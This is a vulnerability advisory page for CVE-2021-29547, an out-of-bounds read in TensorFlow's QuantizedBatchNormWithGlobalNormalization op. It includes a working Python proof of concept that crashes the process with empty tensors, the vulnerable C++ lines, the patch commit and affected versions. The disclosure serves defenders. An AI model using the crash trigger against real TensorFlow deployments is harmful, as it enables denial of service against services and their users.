First published: Fri May 14 2021(Updated: )
### Impact An attacker can cause a segfault and denial of service via accessing data outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`: ```python import tensorflow as tf t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8) t_min = tf.constant([], shape=[0], dtype=tf.float32) t_max = tf.constant([], shape=[0], dtype=tf.float32) m = tf.constant([1], shape=[1], dtype=tf.quint8) m_min = tf.constant([], shape=[0], dtype=tf.float32) m_max = tf.constant([], shape=[0], dtype=tf.float32) v = tf.constant([1], shape=[1], dtype=tf.quint8) v_min = tf.constant([], shape=[0], dtype=tf.float32) v_max = tf.constant([], shape=[0], dtype=tf.float32) beta = tf.constant([1], shape=[1], dtype=tf.quint8) beta_min = tf.constant([], shape=[0], dtype=tf.float32) beta_max = tf.constant([], shape=[0], dtype=tf.float32) gamma = tf.constant([1], shape=[1], dtype=tf.quint8) gamma_min = tf.constant([], shape=[0], dtype=tf.float32) gamma_max = tf.constant([], shape=[0], dtype=tf.float32) tf.raw_ops.QuantizedBatchNormWithGlobalNormalization( t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max, v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min, beta_max=beta_max, gamma=gamma, gamma_min=gamma_min, gamma_max=gamma_max, out_type=tf.qint32, variance_epsilon=0.1, scale_after_normalization=True) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189) assumes the inputs are not empty: ```cc const float input_min = context->input(1).flat<float>()(0); const float input_max = context->input(2).flat<float>()(0); ... const float mean_min = context->input(4).flat<float>()(0); const float mean_max = context->input(5).flat<float>()(0); ... const float var_min = context->input(7).flat<float>()(0); const float var_max = context->input(8).flat<float>()(0); ... const float beta_min = context->input(10).flat<float>()(0); const float beta_max = context->input(11).flat<float>()(0); ... const float gamma_min = context->input(13).flat<float>()(0); const float gamma_max = context->input(14).flat<float>()(0); ``` If any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing the element at index 0 is accessing data outside of bounds. ### Patches We have patched the issue in GitHub commit [d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Credit: security-advisories@github.com security-advisories@github.com
Affected Software | Affected Version | How to fix |
---|---|---|
Google TensorFlow | <2.1.4 | |
Google TensorFlow | >=2.2.0<2.2.3 | |
Google TensorFlow | >=2.3.0<2.3.3 | |
Google TensorFlow | >=2.4.0<2.4.2 | |
pip/tensorflow-gpu | >=2.4.0<2.4.2 | 2.4.2 |
pip/tensorflow-gpu | >=2.3.0<2.3.3 | 2.3.3 |
pip/tensorflow-gpu | >=2.2.0<2.2.3 | 2.2.3 |
pip/tensorflow-gpu | <2.1.4 | 2.1.4 |
pip/tensorflow-cpu | >=2.4.0<2.4.2 | 2.4.2 |
pip/tensorflow-cpu | >=2.3.0<2.3.3 | 2.3.3 |
pip/tensorflow-cpu | >=2.2.0<2.2.3 | 2.2.3 |
pip/tensorflow-cpu | <2.1.4 | 2.1.4 |
pip/tensorflow | >=2.4.0<2.4.2 | 2.4.2 |
pip/tensorflow | >=2.3.0<2.3.3 | 2.3.3 |
pip/tensorflow | >=2.2.0<2.2.3 | 2.2.3 |
pip/tensorflow | <2.1.4 | 2.1.4 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
CVE-2021-29547 has been classified as a denial of service vulnerability.
To fix CVE-2021-29547, upgrade to TensorFlow versions 2.4.2, 2.3.3, or 2.2.3.
CVE-2021-29547 affects TensorFlow versions prior to 2.1.4, between 2.2.0 and 2.2.3, between 2.3.0 and 2.3.3, and between 2.4.0 and 2.4.2.
The impact of CVE-2021-29547 is that it allows an attacker to cause a segmentation fault and denial of service.
CVE-2021-29547 is notable within the TensorFlow community as it pertains to a widely used machine learning library.